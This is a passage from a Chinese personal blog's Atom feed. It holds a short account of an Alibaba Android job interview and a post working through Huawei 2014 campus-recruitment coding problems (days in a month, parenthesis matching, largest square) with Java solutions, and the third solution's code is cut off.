&lt;p&gt;我使用的是第三种，因为可以挂载在其他的磁盘上~只是每次需要的时候挂载一下或者开机自动挂载啦~&lt;/p&gt;</content><category term="October"></category></entry><entry><title>阿里面试心得</title><link href="https://blog.chenjia.me/articles/141013-215000.html" rel="alternate"></link><published>2014-10-13T21:50:00+08:00</published><updated>2014-10-13T21:50:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-10-13:/articles/141013-215000.html</id><summary type="html">&lt;h1&gt;阿里面试之路&lt;/h1&gt;
&lt;p&gt;本人过了阿里面试一面，因为某些原因不能去北京只能申请电话面试，现在还在等待中。&lt;/p&gt;
&lt;p&gt;想一下自己一个人直接早上去北京晚上回来还是蛮拼的 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;阿里面试之路&lt;/h1&gt;
&lt;p&gt;本人过了阿里面试一面，因为某些原因不能去北京只能申请电话面试，现在还在等待中。&lt;/p&gt;
&lt;p&gt;想一下自己一个人直接早上去北京晚上回来还是蛮拼的~&lt;/p&gt;
&lt;p&gt;话说阿里在北京的面试地点就是阿里北京的办公地点，面试地点是在公司的地下一楼。&lt;/p&gt;
&lt;p&gt;然后就是面试，按照预约的时间提前到就好，我是提前了两个多小时到，进去签到后发现客户端的没人了我就直接面试了~运气+&lt;/p&gt;
&lt;p&gt;然后就是简单的自我介绍，以及对简历的一些叙述。简单的交流。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;项目经验很重要&lt;/li&gt;
&lt;li&gt;Android的基本知识要知道&lt;/li&gt;
&lt;li&gt;懂的分析一些APP&lt;/li&gt;
&lt;li&gt;知道一些东西的实现&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;基本就是这些，我面试的时间大概有50分钟了吧。后面主要都在讨论的是如何实现左滑菜单和右滑菜单（以网易客服端为例子）&lt;/p&gt;
&lt;p&gt;我想了3种方法，面试官说还有一种，可能是他希望的~不过我当时没想起来~o(╯□╰)o&lt;/p&gt;
&lt;p&gt;面试结果也是很快的，基本你出门登录招聘系统就看到结果了~&lt;/p&gt;
&lt;p&gt;end~&lt;/p&gt;</content><category term="October"></category></entry><entry><title>华为2014年校园招聘机试题目与答案</title><link href="https://blog.chenjia.me/articles/141013-123500.html" rel="alternate"></link><published>2014-10-13T12:35:00+08:00</published><updated>2014-10-13T12:36:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-10-13:/articles/141013-123500.html</id><summary type="html">&lt;h1&gt;写在前面&lt;/h1&gt;
&lt;p&gt;其实我想吐槽的是每次华为机试都能满分，可惜到最后都没面试机会。。。不知道HR是怎么想的。。&lt;/p&gt;
&lt;p&gt;而且 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;写在前面&lt;/h1&gt;
&lt;p&gt;其实我想吐槽的是每次华为机试都能满分，可惜到最后都没面试机会。。。不知道HR是怎么想的。。&lt;/p&gt;
&lt;p&gt;而且。。华为的心理测试真的是做了一次谁都不想做第二次。。。所以大家还是要认真的做的0.0&lt;/p&gt;
&lt;h1&gt;2014年秋季校园招聘机试题1&lt;/h1&gt;
&lt;h2&gt;题目1&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;天数计算&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;描述:&lt;/strong&gt; 输入一个含年月信息的字符串，仅支持信息格式MM-YYYY(MM:月份，YYYY:年份)，根据该信息输出当月总天数。注意考虑闰年。 &lt;/p&gt;
&lt;p&gt;已知闰年是满足下列条件的年份： &lt;/p&gt;
&lt;p&gt;（1） 公历年份是4的倍数且不是100的倍数 &lt;/p&gt;
&lt;p&gt;（2） 公历年份是400的倍数 &lt;/p&gt;
&lt;p&gt;例如，2000年是闰年，1900年则是平年。闰年2月份为29天，平年2月份为28天。 &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;运行时间限制: 无限制 &lt;/p&gt;
&lt;p&gt;内存限制: 无限制 &lt;/p&gt;
&lt;p&gt;输入: 年月信息字符串&lt;/p&gt;
&lt;p&gt;输出: 当月总天数&amp;gt; &lt;/p&gt;
&lt;p&gt;样例输入: 03-2012&lt;/p&gt;
&lt;p&gt;样例输出: 31 &lt;/p&gt;
&lt;p&gt;答案提示: 
&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;其实这道题目很简单。。switch-case就好~
这是基础题目，一般计算机二级过了都可以&lt;/p&gt;
&lt;hr&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.Scanner&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Main1&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

&lt;span class="cm"&gt;/**&lt;/span&gt;
&lt;span class="cm"&gt; * @param args&lt;/span&gt;
&lt;span class="cm"&gt; */&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// TODO Auto-generated method stub&lt;/span&gt;
    &lt;span class="n"&gt;Scanner&lt;/span&gt; &lt;span class="n"&gt;scanner&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Scanner&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;in&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;scanner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;next&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;];&lt;/span&gt;
    &lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;str1&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;split&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;isflag&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;parseInt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;]));&lt;/span&gt;
    &lt;span class="k"&gt;switch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;parseInt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;]))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;:{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="o"&gt;){&lt;/span&gt;
            &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;//System.out.println(&amp;quot;hello&amp;quot;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="nf"&gt;isflag&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;){&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;){&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;){&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;){&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;题目2&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;检查字符串中的左右括号是否匹配&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;描述:&lt;/strong&gt; 编写一个函数，检查一个字符串中出现的括号“(”和“)”是否匹配。&lt;/p&gt;
&lt;p&gt;比如字符串“(a+b*(9-6))”,该字符串的括号就是匹配的&lt;/p&gt;
&lt;p&gt;又如字符串“(Gov)$Com)”,该字符串的括号就是不匹配的，右边多了一个”)”&lt;/p&gt;
&lt;p&gt;若括号匹配返回1，若不匹配返回0，不考虑空字符串，字符串长度最长为128。 &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;运行时间限制: 无限制&lt;/p&gt;
&lt;p&gt;内存限制: 无限制 &lt;/p&gt;
&lt;p&gt;输入: 字符串&lt;/p&gt;
&lt;p&gt;输出: 若括号匹配返回1，若不匹配返回0，不考虑空字符串&lt;/p&gt;
&lt;p&gt;样例输入: (a+b*(9-6)) &lt;/p&gt;
&lt;p&gt;样例输出: 1 &lt;/p&gt;
&lt;p&gt;答案提示:   &lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;其实这个也很简单，复杂的方法用堆栈，简单的直接用int记录就好~因为就一个变量。（括号）&lt;/p&gt;
&lt;hr&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.Scanner&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.Stack&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;


&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Main2&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="cm"&gt;/**&lt;/span&gt;
&lt;span class="cm"&gt;     * @param args&lt;/span&gt;
&lt;span class="cm"&gt;     */&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// TODO Auto-generated method stub&lt;/span&gt;
        &lt;span class="n"&gt;Scanner&lt;/span&gt; &lt;span class="n"&gt;scanner&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Scanner&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;in&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;Stack&lt;/span&gt; &lt;span class="n"&gt;stack&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Stack&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;scanner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;nextLine&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;){&lt;/span&gt;
            &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt;     &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;StringIndexOutOfBoundsException&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;     &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="c1"&gt;// TODO Auto-generated catch block&lt;/span&gt;
                &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
            &lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="o"&gt;++;&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;compareTo&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;(&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;)==&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;){&lt;/span&gt;
                &lt;span class="n"&gt;stack&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;push&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;compareTo&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;)&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;)==&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;){&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stack&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;empty&lt;/span&gt;&lt;span class="o"&gt;()){&lt;/span&gt;
                    &lt;span class="n"&gt;stack&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;push&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
                    &lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
                &lt;span class="o"&gt;}&lt;/span&gt;
                &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;top&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;stack&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;peek&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
                &lt;span class="c1"&gt;//System.out.println(&amp;quot;top&amp;quot;+top);&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;top&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;compareTo&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;(&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;)==&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;){&lt;/span&gt;
                    &lt;span class="n"&gt;stack&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;pop&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
                    &lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
                &lt;span class="o"&gt;}&lt;/span&gt;           
                &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
                    &lt;span class="n"&gt;stack&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;push&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
                &lt;span class="o"&gt;}&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stack&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;empty&lt;/span&gt;&lt;span class="o"&gt;()){&lt;/span&gt;
            &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;第三题&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;最大的正方形&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;描述&lt;/strong&gt;: 给你一个N*M的矩阵，每个位置的值是0或1，求一个面积最大的子矩阵，这个矩阵必须是一个正方形，且里面只能由1构成，输出最大的正方形边长&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;运行时间限制: 2 Sec&lt;/p&gt;
&lt;p&gt;内存限制: 无限制&lt;/p&gt;
&lt;p&gt;输入: 第一行输入两个整数n，m，之后n行，每行m个数字，为矩阵第i行第j列的值，只可能是0或者1&lt;/p&gt;
&lt;p&gt;n,m&amp;lt;=400&lt;/p&gt;
&lt;p&gt;输出: 一个整数，为最大正方形的边长&lt;/p&gt;
&lt;p&gt;样例输入: 3 3&lt;/p&gt;
&lt;p&gt;1 1 1&lt;/p&gt;
&lt;p&gt;1 1 1&lt;/p&gt;
&lt;p&gt;0 0 1&lt;/p&gt;
&lt;p&gt;样例输出: 2&lt;/p&gt;
&lt;p&gt;答案提示:  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;这道题不能用暴力解决，会TLE的。（N^3）
我们要用矩阵去存储最大的正方形的数据而不是存输入的数据。&lt;/p&gt;
&lt;p&gt;即边输入边计算。(n^2)&lt;/p&gt;
&lt;hr&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.Scanner&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;


&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Main3&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="cm"&gt;/**&lt;/span&gt;
&lt;span class="cm"&gt;     * @param args&lt;/span&gt;
&lt;span class="cm"&gt;     */&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// TODO Auto-generated method stub&lt;/span&gt;
        &lt;span class="n"&gt;Scanner&lt;/span&gt; &lt;span class="n"&gt;scanner&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Scanner&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;in&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
